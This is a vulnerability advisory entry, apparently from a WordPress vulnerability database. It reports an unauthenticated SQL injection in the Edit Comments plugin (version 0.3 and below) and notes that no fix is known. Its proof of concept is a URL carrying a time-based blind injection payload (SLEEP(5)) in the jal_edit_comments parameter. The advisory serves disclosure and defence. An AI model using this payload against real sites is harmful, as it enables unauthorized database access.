WordPress Plugin Vulnerabilities
Edit Comments <= 0.3 - Unauthenticated SQL Injection
Description
The plugin does not sanitise, validate or escape the jal_edit_comments GET parameter before using it in a SQL statement, leading to a SQL injection issue
Proof of Concept
Post a comment on a page, then open https://example.com/<post-page>/?jal_edit_comments=7%20AND%20(SELECT%209114%20FROM (SELECT(SLEEP(5)))wjzD)
Affects Plugins
No known fix References
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Shreya Pohekar of Codevigilant Project
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-07-24 (about 2 years ago)
Added
2021-07-24 (about 2 years ago)
Last Updated
2022-02-24 (about 2 years ago)
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